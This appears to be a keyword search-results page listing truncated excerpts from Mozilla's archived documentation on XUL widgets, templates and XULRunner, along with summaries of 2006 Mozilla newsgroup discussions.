tem's label to appear in the context menu in bold. what constitutes the default item isn't specified, but is usually the operation carried out when the item was left-clicked or pressed normally, as opposed to context clicked. you can indicate this item, if it applies, using the default attribute. <menupopup id="link-menu"> <menuitem label="open link" default="true"/> <menuitem label="open in
new window"/> <menuitem label="properties"/> </menupopup> the default attribute has been set to true on the first menu item ('open link'). on platforms that support it, it will be marked as a default item. on other platforms, the attribute will just be ignored and the menuitem will be displayed normally. naturally, it only makes sense to have one default item per context menu. note that the defa...
Actions - Archive of obsolete content
lplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/b) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/c) (?start = http://www.xulplanet.com/rdf/a, ?relateditem = http://www.xulplanet.com/rdf/d) the builder will start with the first result. the button element will be copied and inserted into the document after the template. the id attribute of the
new element will be set to the same value of the member variable, ?relateditem. you could think of this as changing the uri attribute to the id attribute, and replacing the variable. since the first result has a value of 'http://www.xulplanet.com/rdf/b' for the ?relateditem variable, the id will be set to this value. then, the remaining attributes on the element are examined and any variables are rep...
Attribute Substitution - Archive of obsolete content
iew from the top of the tower looking east of the doges palace</description> note that the textnode has been replaced with the substituted value attribute. note that in firefox 2 and earlier, a bug can make this appear to not work at times. recall that the template builder doesn't load the datasource before processing a template. as the datasource loads, the query and rules are examined with the
new data as it arrives. this causes rules to create matches as the data loads. however, variables determined from a binding are evaluated using a much simpler process. the bug is that this code path for bindings doesn't handle the textnode element properly. thus, if you use a variable set in a binding, you must ensure the datasource is loaded before the template is built, or just rebuild the template...
Multiple Rules - Archive of obsolete content
</action> </rule> <rule> <action> <image uri="?photo" src="?photo"/> </action> </rule> </template> </hbox> this template contains a query with two rules. the query generates a list of the photos and assigns the title of each photo to the variable '?title'. note that the full query syntax must be used to use conditions within rules. the first rule contains a
new element, where which is used to define a condition. the second rule does not contain a where element, so it matches results unconditionally, or any result that wasn't matched by a previous rule. in this example, the where element in the first rule defines a condition which matches results that have a title of 'canal'. three attributes are used for this purpose. the subject is the variable from th...
Recursive Generation - Archive of obsolete content
relateditem arrow pointing out of it to item d. this extra arrow which neither b or d have causes an extra set of buttons to be created. after generating content, the template builder always repeats the generation for inner levels as far as it can go. thus, the builder can be said to generate content from the graph recursively. after generating a result's content, the builder starts again using a
new parent and starting point. naturally, the parent will be the
new result's content, rather than the outer containing element, and the starting point will be the endpoint of the previous iteration. for the top level generation the parent insertion point is the element with the datasources attribute, in this example a <vbox>. for nested results, the insertion point is the generated element. here is ...
Rule Compilation - Archive of obsolete content
e. the exact syntax is dependent on the type of datasource used in the template. for instance, for an sqlite datasource, an sql statement is used as the query. this will return a table of result records which are then used to generate output. for rdf and xml, the query contains a set of instructions for navigating through the rdf graph or xml document tree. a query is declared with the query tag (
new to ff3; ff2 only worked with rdf datasources and had no query tag), which you would place directly inside the <template>. the job of the query is to generate a set of output results. rules the template also contains a set of rules which define content to be generated based on various conditions. an attribute substitution syntax, explained later, is used to modify the attributes of elements genera...
Simple Example - Archive of obsolete content
over the children of an rdf container. the container, an rdf seq, has the uri 'http://www.xulplanet.com/rdf/myphotos'. this will be the starting point of the navigation. we want the endpoints to be the three images. first, we set the datasources and ref attributes as needed: <vbox datasources="template-guide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a
new statement, the member condition as well as a triple. <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> the seed is set in a similar manner as the previous examples, effectively creating a single result with the ?start variable set to the refer...
Sorting Results - Archive of obsolete content
just add another key after the first separated by a space, as in the following: sort="?name ?gender" in this example, results will be sorted by name, followed by gender for those with identical names. you may add as many sort keys as desired. sorting occurs when output is first generated as well as when a result is added as a result of a datasource change. when the rdf datasource changes, and a
new result is available, the
new content is inserted at the right location. for rdf datasources, you can also use an rdf predicate for sorting instead of a variable: <hbox datasources="template-guide-photos5.rdf" sort="http://purl.org/dc/elements/1.1/title" sortdirection="ascending" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <vbox class="box-padded" uri="rdf:*"> ...
Static Content - Archive of obsolete content
ent has the uri attribute so this content will be duplicated for each result. the technique of looking for an existing element applies to any type of content. the builder will treat the element as already present as long as some element with the same tag name exists. if you were to change the static content to be some other element besides a menupopup, it won't match, so the builder will create a
new one when handling the action. this becomes useful when using multiple rules and we'll see some examples of this later. here is the example to try. note that the workaround of loading the datasource beforehand as mentioned for the last example isn't necessary, as the existence of the static content is another effective workaround. so, if you're using menulists with templates and the data isn't dis...
Toolbars - Archive of obsolete content
ications. custom toolbar button another example of how to create a toolbar button, complete with a sample extension you can download and try. code snippets: toolbar code snippets that are helpful when working with toolbars. community view mozilla extension development forums... mailing list
newsgroup rss feed #extdev irc channel mozillazine forum about:addons
newsletter mozilla's web-tech blog mozdev project owners planet mozilla other community links... tools dom inspector edit the live dom (firefox and thunderbird) mozilla labs add-on builder extension devel...
Adding Event Handlers - Archive of obsolete content
example 3 : source view <button id="okbutton" label="ok"/> <script> function buttonpressed(event){ alert('button was pressed!'); } var button = document.getelementbyid("okbutton"); button.addeventlistener('command', buttonpressed, true); </script> the getelementbyid() function returns the element with a given id, in this case the button. the addeventlistener() function is called to add a
new capturing event listener. the first argument is the name of the event to listen to. the second argument is the event listener function which will be called when the event occurs. finally, the last argument should be true for capturing listeners. you can also listen during the bubbling phase by setting the last argument to false. the event listener function passed as the second argument should tak...
Adding Style Sheets - Archive of obsolete content
<menuitem label="is not"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="find-text" flex="1" editable="true" datasources="file:///mozilla/recents.rdf" ref="http://www.xulplanet.com/rdf/recent/all"/> ... <spacer class="titlespace"/> <hbox> <progressmeter id="progmeter" value="50%" style="display:none;"/> the
new xml-stylesheet line is used to import the style sheet. it will contain the styles instead of having them directly in the xul file. you can include any number of style sheets in a similar way. here the style sheet is placed in the same directory as findfile.xul. some of the styles in the code above have been removed. one that wasn't was the display property on the progressmeter. this will be cha...
Commands - Archive of obsolete content
g into a textbox. var tboxcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_paste"); }, iscommandenabled : function(cmd){ return false; }, docommand : function(cmd){ }, onevent : function(evt){ } }; document.getelementbyid("tbox").controllers.insertcontrollerat(0,tboxcontroller); in this example, we insert the controller at index 0, which means before any others. the
new controller supports the 'cmd_paste' command and always indicates that the command is disabled. the default textbox controller never gets called because the command dispatcher found the controller above to handle the command first. next, we'll find out how to update commands. « previousnext » ...
Focus and Selection - Archive of obsolete content
at when the fka preference is off, only textboxes and lists/trees are focusable with the keyboard, as well as from your code using focus(). handling text changes there are two events that can be used when the user changes the value of a textbox. naturally, these events will only be sent to the textbox that has the focus. the input event is fired whenever the text is modified in the field. the
new value will be different than the old value. you may want to use this event instead of using key events, as some keys such as the shift key don't change the value. also, the input event would not fire if a letter key was pressed and there were already more characters than will fit in the textbox. the change event is similar in that it fires only when the field is changed. however it only fires o...
Install Scripts - Archive of obsolete content
and any other operations you wish to have happen. no files get copied until step three. because of this, you can easily specify a number of files to be installed, come across some kind of error, and abort the whole process without modifying the user's system. the component registry mozilla maintains a file which is a registry of all the components that are currently installed. components include
new chrome packages, skins and plugins. when a
new component is installed, the registry gets updated. the registry also stores the set of files and version information about the installed components. that way, it is easier to check if a version of your component is already present and only update it if necessary. the component registry works somewhat like the windows registry does. it consists of a h...
Introduction - Archive of obsolete content
lication, but don't mind requiring a mozilla browser to be installed to be able to run the application. remote xul application you could also just place xul code on a web server and open it in firefox, as you would any other web page, however this is discouraged and was disabled in firefox 8. it is still possible to enable this for selected sites to let legacy apps to continue working, but for
new remote applications you should use html to create your user interface instead; most of the features you used to have to use xul for are available in html5. the first three types all require an installation to be performed on the user's machine. however, these types of applications do not have security restrictions placed on them, so they may access local files and read and write preferences, fo...
Localization - Archive of obsolete content
by using the chrome system to add the dtd file to a different locale, the same xul file can be used in any language. find files example so far: source next, we'll look at property files. « previousnext » see also how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons: bootstrapped extensions :: loc...
Simple Menu Bars - Archive of obsolete content
y the system. although you can create custom menus, any special style rules or non-menu elements that you place on a menu may not be applied. you should keep this is mind when creating menus. ...
Templates - Archive of obsolete content
ookmarks" ref="nc:bookmarksroot" flex="1"> <template> <vbox uri="rdf:*"> <button label="rdf:http://home.netscape.com/nc-rdf#name"/> <label value="rdf:http://home.netscape.com/nc-rdf#url"/> </vbox> </template> </vbox> this creates a vertical box with a button and a label for each bookmark. the button will have the name of the bookmark and the label will have the url. the
new elements that are created are functionally no different from ones that you put directly in the xul file. the id attribute is added to every element created through a template which is set to a value which identifies the resource. you can use this to identify the resource. you can also specify mutliple resource values in the same attribute by separating them with a space, as in the example below.
Toolbars - Archive of obsolete content
ly grouped together in something called a 'toolbox'. a simple toolbar inside a toolbox source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> </toolbar> </toolbox> this has created a toolbar containing two buttons, a back button and a forward button. the one toolbar has been placed inside the toolbox. this has involved four
new tags, which are described here. toolbox a box that contains toolbars. toolbar a single toolbar that contains toolbar items such as buttons. toolbarbutton a button on a toolbar, which has all the same features of a regular button but is usually drawn differently. the toolbar is the main element that creates the actual toolbar. inside it are placed th...
Tree Selection - Archive of obsolete content
ng getrangeat() to get the actual indices of the start and end of the range. the getrangeat() function takes three arguments. the first is the range index. the second is an object which will be filled in by the function with the index of the first selected item. the third argument is an object which will be filled in with the index of the last selected item. getrangeat example var start =
new object(); var end =
new object(); var numranges = tree.view.selection.getrangecount(); for (var t = 0; t < numranges; t++){ tree.view.selection.getrangeat(t,start,end); for (var v = start.value; v <= end.value; v++){ alert("item " + v + " is selected."); } } we create two objects called 'start' and 'end'. then, we iterate over the set of ranges, the number of which is returned by the ...
Urlbar-icons - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the location of ui elements like the bookmarks, feed and go buttons. create
new image or button child elements to add your own items. (the url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="...
Using the Editor from XUL - Archive of obsolete content
the attribute type="content-primary" identifies this as the window content element, i.e. that which you get from window._content. having an id attribute, id="content-frame", allows us to find this element with document.getelementbyid("content-frame"), and to style it from css. editoronload() is called. it does some getting of window.arguments (which is a way callers can pass parameters to
new windows -- we use this to get the url to be loaded), then it calls editorstartup(), where the real work happens. it passes two parameters; the first indicates whether we want a plain text or html editor (pass text or html here), and the second is the <iframe> element on which we wish to create the editor. we could either pass document.getelementbyid("content-frame") or window._content here. ...
Using the standard theme - Archive of obsolete content
efault, no style is associated with xul extension windows or dialogs. you can either provide a complete custom styling, but most of the time you also want to be able to reuse the standard theme (also called the "global skin") of the base application for non-custom elements, transparently with regard to which theme the user has currently chosen. at the beginning, there is no style when creating a
new xul <tt>window</tt> (or a
new <tt>dialog</tt>, for that matter) in your extension, and you do not associate a style sheet with it, your widgets will be unstyled. meaning, some internal default will be applied, which does by no means correspond to the standard theme (the theme currently chosen by the user in the theme selector), or even the default theme delivered with your the base application. ...
XUL Changes for Firefox 1.5 - Archive of obsolete content
ted. see xul:richlistbox for more information. preferences system several elements have been added which may be used for creating preference windows. these windows are special types of dialogs which support several panels, each of which may be contained in the same file or a separate file. a set of icons will appear across the top of the dialog allowing the user to switch panels. along with the
new preference elements and some additional attributes for existing elements, they make it easy to set preferences without having to use code. for more information, see preferences system. bfcache mozilla now caches the page's dom, so that navigating back and forward does not reload the page, making navigation much more efficient. the pageshow and pagehide events are used when switching from a page...
XUL controls - Archive of obsolete content
more information about this type of menu button element. button reference related elements: menupopup menuitem <button type="menu-button"> a button that that has a separate arrow button with a menu attached to it. unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed. <button type="menu-button" label="
new"> <menupopup> <menuitem label="
new document"/> <menuitem label="
new image"/> </menupopup> </button> more information about this type of menu button element. button reference related elements: menupopup menuitem <checkbox> a control that may be turned on and off, typically used to create options which may be enabled or disabled. <ch...
editor - Archive of obsolete content
rc attribute on the editor after the outer window has loaded, for example, in the onload handler. you might also set the src attribute based on what the user selects from a file dialog. in this case, set the editortype attribute on the editor. call the makeeditable method to make the document loaded in the editor editable. enable the design mode of the document loaded in the editor. to edit a
new document, set the src attribute to about:blank. to access most of the functionality of the editor, your application must be part of an extension or part of the chrome. xul applications loaded via a url from a web server will not be able to access most of the features of the editor. see the rich text editing and midas pages for more information about gecko's built-in rich text editor. attribu...
key - Archive of obsolete content
andle any key events. for example: <!-- this element handles all key events --> <key/> <!-- these elements don't handle any key events --> <key key="" modifiers="control"/> <key keycode="" modifiers="control"/> modifying attributes in case you want to change one of the <key>'s attributes, such as the modifiers attribute, the keyset element has to be re-added to its parent node; otherwise the
new attributes won't be applied. for example: // modify some attributes let key = document.getelementbyid(key_id); key.setattribute("modifiers", "alt shift"); // apply the changes let keyset = document.getelementbyid(keyset_id); keyset.parentnode.appendchild(keyset); ...
menubar - Archive of obsolete content
ubar will be ignored. to look native (at least on windows), the menubar element needs to be placed inside a toolbox element. more information is available in the xul tutorial. ...
promptBox - Archive of obsolete content
ion detail; if you're developing an add-on, you shouldn't need to tinker with this. you should use the window.alert() method or the nsiprompt interface instead. see using tab-modal prompts for details. method overview nsidomelement appendprompt(args, onclosecallback); void removeprompt(nsidomelement aprompt); nodelist listprompts(nsidomelement aprompt); methods appendprompt() creates a
new prompt, adding it to the tab. nsidomelement appendprompt( args, onclosecallback ); parameters args arguments for the prompt. onclosecallback the callback routine to be called when the prompt is closed. return value an nsidomelement object representing the
new prompt. removeprompt() removes an existing prompt. void removeprompt( nsidomelement aprompt ); parameters aprompt the prompt to ...
<statusbarpanel> - Archive of obsolete content
irefox 4 note the status bar has been removed. refer to the add-on bar. an individual element of a statusbar. this is a special type of button which is drawn differently. unlike normal buttons, a statusbarpanel can only have a label or an image but not both. this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are
new messages. attributes crop, image, label properties image, label style classes statusbarpanel-iconic, statusbarpanel-iconic-text, statusbarpanel-menu-iconic examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes crop type: one of the...
wizard - Archive of obsolete content
t provides the header and buttons along the bottom, and also handles navigation between the pages. each page should be constructed using a wizardpage. the pages are displayed in the order that they are placed in the wizard, unless you use the next and pageid attributes on the pages to change the sequence. the wizard will rendered in a manner suitable for the user's selected theme and platform. in
newer versions of mozilla, a statusbar may be placed directly inside the wizard element which will be shared among all pages. more information is available in the xul tutorial. attributes firstpage, lastpage, pagestep, title, windowtype properties canadvance, canrewind, currentpage, onfirstpage, onlastpage, pagecount, pageindex, pagestep, title, wizardpages methods advance, cancel, ext...
XUL - Archive of obsolete content
dic table which can be opened with gecko based browsers. you can get it here. see: using firefox 3 to run xulrunner applications for instructions on running xulrunner apps in firefox. view all... community view mozilla forums... ...
CommandLine - Archive of obsolete content
var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.notifyobservers(window.arguments[0], "commandline-...
Components - Archive of obsolete content
adding components to xulrunner is simple once you understand how xulrunner registers and saves the components. place after a
new component has been written it must be placed in the app/components/ directory (not xulrunner/components/). put both .dll/.js file and the .xpt(s) in there. unlike extensions, it must be directly in that directory, not a subdirectory. then you need to make sure that it gets registered. registration most initial problems with components are due to registration. for
new components or interface changes of existing ones to be noticed at all, you need to change the buildid in application.ini to trigger a re-registration of the components. alternatively, you can delete compreg.dat and xpti.dat in the user profile directory - that of your xulrunner app, not th...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
ild. so basically, almost everyone should be able to skip the next section. building xulrunner still here? hey, it's not all bad. you'll get a warm fuzzy feeling from mastering the complex but very powerful mozilla build system. and all that furniture you smash in the meantime makes great kindling to get you through those cold winter nights. let's face it, it was probably time for you to get some
new furniture anyway. everything you ever wanted to know about building mozilla (and thus xulrunner) can be found in the build documentation. follow the instructions for meeting build requirements and getting the source, then come back here since the build process itself will be slightly different. got source? now you need to set up a special .mozconfig file to tell mozilla to build both xulrunner an...
Deploying XULRunner - Archive of obsolete content
... additional application files such as icons, etc macos/ xulrunner (this is the "stub executable"... you should copy this file from /library/frameworks/xul.framework/versions/1.8/xulrunner.) libmozglue.dylib (the main xul library) ... other executables and libraries the core changes to xul and gecko that require this
new file layout were implemented in gecko 34, except that the xulrunner application was not updated to know about the change, so it will report an error: "unable to load xpcom." xulrunner was fixed in gecko 39. see this blog post for additional background about this change. xulrunner 38 and earlier in xulrunner 38 and earlier, xulrunner is provided in a mac os x framework bundle, which is placed i...
XULRunner FAQ - Archive of obsolete content
re information. where is the source code? here. i think i've found a bug, how do i report it? bugzilla.mozilla.org is used to track bugs in all mozilla products. please search to make sure that your bug has not already been reported. how can i help? if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the
newsgroups or the irc channel. ...
Using LDAP XPCOM with XULRunner - Archive of obsolete content
ary->load(&lib); if (ns_failed(rv)) return rv; nsgetmoduleproc getmoduleproc = (nsgetmoduleproc) pr_findfunctionsymbol(lib, ns_get_module_symbol); if (!getmoduleproc) return ns_error_failure; return getmoduleproc(acompmgr, alocation, aresult); } then change your .mozconfig to add this line: ac_add_options --enable-extensions=ldapstub rebuild xulrunner. this will create a
new file in the components subdirectory of the built package, mozldap_stub.dll (on windows) or libmozldap_stub.so (on linux). copy mozldap.xpt and mozldap_stub.dll into your components xul app subdirectory. create a libraries subdirectory in your xul app directory, and copy mozldap.dll (or libmozldap.so), and the native ldap binaries into it. don't forget to clean your profile. you can now use the ld...
Make your xulrunner app match the system locale - Archive of obsolete content
on, but the ideas should be adaptable. also, this may not be the proper way to do this and it may not work for you in all cases. please update if there are more correct ways to do this. the first step is to get the code we're about to write to run before any of the locale specific resources are loaded. democracy does this by creating a command line handler called democracyclh, and then creating a
new object of our pybridge component. the code described lives in the pybridge component's onstartup method which gets called automatically. the second step is to figure out the system locale. to be finished later. then set the locale preference. the following is python code to set this preference. from xpcom import components ps_cls = components.classes["@mozilla.org/preferences-service;1"] ps = ps...
Opening a Link in the Default Browser - Archive of obsolete content
. this will often be an http or https uri, but can use any scheme for which an external handler exists. this can be done using the nsiexternalprotocolservice interface: // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.
newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); // now, open it! extps.loaduri(uritoopen, null); by default, the external protocol service will warn the user about opening the link in another application. to suppress this warning ...
XULRunner tips - Archive of obsolete content
b these point at amo pref("extensions.update.url", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmoreextensionsurl", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmorethemesurl", "chrome://mozapps/locale/extensions/extensions.properties"); if your application is based on gecko 2.0, you need to register a component through the
new component registration because the extension manager uses fuel, namely application.restart(), to restart your xulrunner-based application after any change (installation, removal, enabling, disabling) in the extensions' list: copy files fuelapplication.js and fuelapplication.manifest from browser/fuel/src for instance into your components/ directory tweak the line #include ../../../toolkit/com...
Windows and menus in XULRunner - Archive of obsolete content
me://basicapp/skin/main.css" type="text/css"?> <!doctype window system "chrome://basicapp/locale/main.dtd"> <window id="main" title="&title;" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="main.js"/> <toolbox> <menubar id="menubar"> <menu id="file-menu" label="&file;"> <menupopup id="file-popup"> <menuitem label="&file.
new;" oncommand="dofile
new();"/> <menuitem label="&file.open;" oncommand="dofileopen();"/> <menuitem label="&file.save;" oncommand="dofilesave();"/> <menuseparator/> <menuitem label="&file.exit;" oncommand="dofileexit();"/> </menupopup> </menu> <menu id="edit-menu" label="&edit;"> <menupopup id="edit-popup"> <menuitem label...
XUL Application Packaging - Archive of obsolete content
r. this is typically a date identifier, and should be different for every released version of an application. required example: buildid=20060201 id specifies the unique application id required the application id, like extension ids, can be formatted either like an email applicationname@vendor.tld or a uuid {12345678-1234-1234-1234-123456789abc}. the email format is recommended for
newly developed applications. example: id=testapplication@example.tld vendor specifies the application vendor optional example: vendor=grinch productions profile specifies the path to use for the application's profile, based within the user's application data directory optional example: profile=myappdata the [gecko] section the gecko section specifies what version of xulrun...
toolkit.singletonWindowType - Archive of obsolete content
preference type: string specified by: default prefs of xulrunner applications default: none example: pref("toolkit.singletonwindowtype", "xulmine"); by default, the toolkit.defaultchromeuri preference will cause xulrunner to open a
new main application window each time an application is invoked. the toolkit.singletonwindowtype preference causes xulrunner to search for a window with the attribute windowtype as specified in this preference (e.g. <window windowtype="xulmine"> in our example). if such a window is found, it will be re-used, otherwise a
new window will be opened. more information on this can be found in bug 317811. see also: xulrunner:specifying startup chrome window, toolkit.defaultchromefeatures ...
XULRunner - Archive of obsolete content
r. build documentation learn how to get the source and build it. debug documentation steps to configure venkman to debug your app xulrunner guide a fairly complete, but outdated, introduction and tutorial for xulrunner which collates much of the documentation found here. view all... community view mozilla forums... mailing list
newsgroup rss feed #xulrunner on irc.mozilla.org other community links... related topics xul see also a brief introduction to xulrunner ...
ant script to assemble an extension - Archive of obsolete content
this ant script helps to package an extension <?xml version="1.0"?> this build file was written by régis décamps <decamps@users.sf.net> <project name="blogmark" default="createxpi"> <property name="version" value="1.3-rc1"/> <property name="description" value="
new context-menu item to add the current page in your blogmarks"/> xpi file is created after "chrome/blogmark.jar" is created, which is then stuffed into "blogmark.xpi" <target name="createxpi" depends="createjar" description="assemble the final build blogmark.xpi"> <zip destfile="blogmark-${version}.xpi"> <zipfileset dir="." includes="chrome/blogmark.jar" /> <zipf...
application/http-index-format specification - Archive of obsolete content
that multiple 200 lines override previous 200 lines. 201 data whose definition stems from a prior 200 line. a valid 201 line consists of one or more white space separated tokens that represent data described by a previous 200 line. tokens may be quoted or unquoted. unquoted tokens may not contain white space. quoted tokens are terminated by the next quote but may not contain carrage returns or
new lines. any illegal characters must be escaped via the url escaping syntax defined by rfc 1738. note that a 201 line encountered before a 200 line should be ignored. 300 a url pointing to the directory represented by the index if there is one. a valid path token must be url escaped. valid 200 tokens note that all tokens are case insensitive. filename the name of file that can be used to r...
calICalendarView - Archive of obsolete content
em in the view. other areas of the code may use this attribute for setting selection, editing purposes, or any other purpose. note: this will likely change to selecteditems and return an array of caliitembases in order to support selecting multiple items at once. selectedday the currently selected day in the display. other areas of the code will often use this as a basis for default values for
new calievents and calitodos. methods showdate void showdate(in calidatetime adate); ensures that the passed in adate is visible in the view. the view is free to show other days as well. setdaterange void setdaterange(in calidatetime astartdate, in calidatetime aenddate); ensures that the entire range of dates from astartdate to aenddate is visible. the view is free to show other dates ...
mozilla.dev.platform FAQ - Archive of obsolete content
faq for questions asked on mozilla.dev.platform xulrunner q: xulrunner on mac os x a: instead of using /path/to/xulrunner-bin.ini, applications on a mac must be in an application bundle (foo.app). then unpack the xul app into the mac structure with xulrunner -install-app q: can you build xulrunner with
newer (>1.5) features, such as storage? a: xulrunner trunk and 1.8 (but not 1.8.0) build storage by default, and anything can be built with storage if you put in you <tt>mozconfig --enable-storage</tt> q: program received signal exc_bad_instruction, illegal instruction/operand. 0x00016b50 in xre_createappdata () a: when you <tt>--disable-libxul</tt>, the xpcom glue doesn't have information about how to load all the dependent libraries like <tt>libgfx.dylib</tt>. in order to use xr...
Mozprofile - Archive of obsolete content
sage to use mozprofile as an api you can import mozprofile.profile and/or the addonmanager. mozprofile.profile features a generic profile class. in addition, subclasses firefoxprofile and thundebirdprofile are available with preset preferences for those applications. installing addons addons may be installed individually or from a manifest. ...
Mozrunner - Archive of obsolete content
usage mozrunner features a base class, mozrunner.runner.runner which is an integration layer api for interfacing with mozilla applications. mozrunner also exposes two application specific classes, firefoxrunner and thunderbirdrunner which record the binary names necessary for the runner class to find them on the system. example api usage: from mozrunner import firefoxrunner # start firefox on a
new profile runner = firefoxrunner() runner.start() ...
nsIContentPolicy - Archive of obsolete content
ntentlocation the uri of the content being checked; must not be null. arequestorigin {optional_inline}} the location of the resource that initiated this load request; can be null if inapplicable. acontext {optional_inline}} the nsidomnode or nsidomwindow that initiated the request, or something that can queryinterface() to one of those; can be null if inapplicable. note: acontext is the
new tab/window when a user uses the context menu to open a link in a
new tab/window or cmd/ctrl + clicks the link (i.e., acontext is not the tab which the link was on in these cases). amimetypeguess optional. a guess for the requested content's mime type, based on information available to the request initiator (e.g., an object's type attribute); does not reliably reflect the actual mime t...
Format - Archive of obsolete content
summary: mozilla.dev.planning - july 17-23, 2006 announcements firefox 2/gecko 1.8.1 bug approvals starting on friday july 21 at 10:00a pdt the release triage team will no longer be accepting bugs unless they meet one of the posted criteria. criteria are included in the linked post. firefox 1.5.0.5 planned release - 2006/07/26 discussions firefox survey feedback requested rachel werner (mozilla corp marketing intern) requested feedback on a proposed user survey. the survey questions and feedback are included in the thread. deadline for feedback has passed. ...
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
a is a great product afterall. reload vs. reload from cache discussion regarding the lack of user understanding regarding reloading and reloading from the cache and how to address it. why suggestions in search bar doesn't work for me? discussion regarding suggestions in the search bar not functioning in the october 3rd nightly build of ff 2.0. places in firefox 3 discussion regarding places (a
new system for storing bookmarks, histroy and other page info) in firefox 3. a wiki has been set up aswell as weekly meetings, and a face-to-face meeting will be scheduled at a later date. everyone and his goldfish thinks bug 300198 should be fixed an as-of-yet unreplied to complaint regarding the status of bug 300198 remaining wontfix. meetings none this week. authors sara minchella (sara)...
2006-11-10 - Archive of obsolete content
2007 communication paper notification: friday 06th april 2007 all camera ready due: monday 16th april 2007 conference dates: monday 07th and tuesday 08th may 2007 notable keynotes representatives from w3c, ibm, university of manchester, uk and oxford brookes university, uk. read more... discussions firefox: an open source accessibility success story aaron leventhal of ibm recently published a
new article praising firefox accessibility. the article goes into the history of accessibility in firefox, details ibm's involvement and addresses some ajax accessibility concerns. the article closes with a glimpse at the future of firefox accessibility. read more... access keys in firefox 2 previous versions of firefox used the <alt> key as a modifier. this has been changed to alt+shift for conten...
2006-11-22 - Archive of obsolete content
summary: mozilla.dev.accessibility - nov 17-nov 22, 2006 announcements mozilla osk project grant aaron leventhal (on behalf of michael curran) mentiond that there is now an nvda email list you can join if you wish to keep up to date with the latest changes, or if you wish to discuss
new features or talk with other nvda users. to join, send a blank email with subscribe in the subject field to: nvda...@freelists.org (click here to view the original post and unmask the e-mail address) michael would like to thank stormdragon for setting this up. click here for more details.
new mailing list for nvda steve lee was pleased to announce that the mozilla foundation has approved a grant spearheaded by himself and aaron leventhal for "improved switch access to firefox". he expressed ...
2006-10-06 - Archive of obsolete content
a is a great product afterall. reload vs. reload from cache discussion regarding the lack of user understanding regarding reloading and reloading from the cache and how to address it. why suggestions in search bar doesn't work for me? discussion regarding suggestions in the search bar not functioning in the october 3rd nightly build of ff 2.0. places in firefox 3 discussion regarding places (a
new system for storing bookmarks, histroy and other page info) in firefox 3. a wiki has been set up aswell as weekly meetings, and a face-to-face meeting will be scheduled at a later date. everyone and his goldfish thinks bug 300198 should be fixed an as-of-yet unreplied to complaint regarding the status of bug 300198 remaining wontfix. meetings none this week. authors sara minchella (sara)...
2006-10-13 - Archive of obsolete content
ould be fixed large response to the discussion about the bug: https://bugzilla.mozilla.org/show_bug.cgi?id=300198, regarding middle clicking on a tab. annoying firefox 2 save dialog instead of open/save ones. user questions about a open/saveas bug that already exisits: https://bugzilla.mozilla.org/show_bug.cgi?id=347230 installer for 2.0rc2 ehume gives the developers a thumbs up for the
new installer for 2.0rc2 having a textfield where you can type in the installation directory. a way to recover the toolbars from popup windows that hide it a suggestion for a way to recover toolbars from a popup window that disables it. user suggests 3 ways, and suggests a default. (no responses as of yet) selected tab looks too close to unselected tab discussion about how to change the colou...
2006-10-26 - Archive of obsolete content
"[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker. (what it is, how to use it) cross-post-and followup fx2 announcment to support-firefox request for when the announcement about firefox 2's release to be posted on the mozilla.dev.apps.firefox
newsgroup. firefox killer features suggestion john describes his suggestions for "killer features" for firefox. debug minefield on intel mac an inqury about how to debug minefield on an intel mac. rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor change - the user is unfamiliar with how to use the command prompt. bug in firefox whe...
2006-10-27 - Archive of obsolete content
"[t]he log file shows a "no space left on device" error when trying to link the final executable." learn the traffic magic of search engine cloaking mark describes the magic of search engine cloaker. (what it is, how to use it) cross-post-and followup fx2 announcment to support-firefox request for when the announcement about firefox 2's release to be posted on the mozilla.dev.apps.firefox
newsgroup. firefox killer features suggestion john describes his suggestions for "killer features" for firefox. debug minefield on intel mac an inqury about how to debug minefield on an intel mac. rebuild firefox after modifying source code an inqury about how to rebuild the code after making a minor change - the user is unfamiliar with how to use the command prompt. bug in firefox whe...
2006-12-01 - Archive of obsolete content
estion regarding how to access the functionality that arises when window.blur() is called. ff2 not responding to click on link concerns regarding ff 2.0 not responding to button or link clicks until the button or link is clicked a second time. dual screen browsing discussion regarding browsing across dual screens and simplifying the process. suggestion for status bar suggestion that a
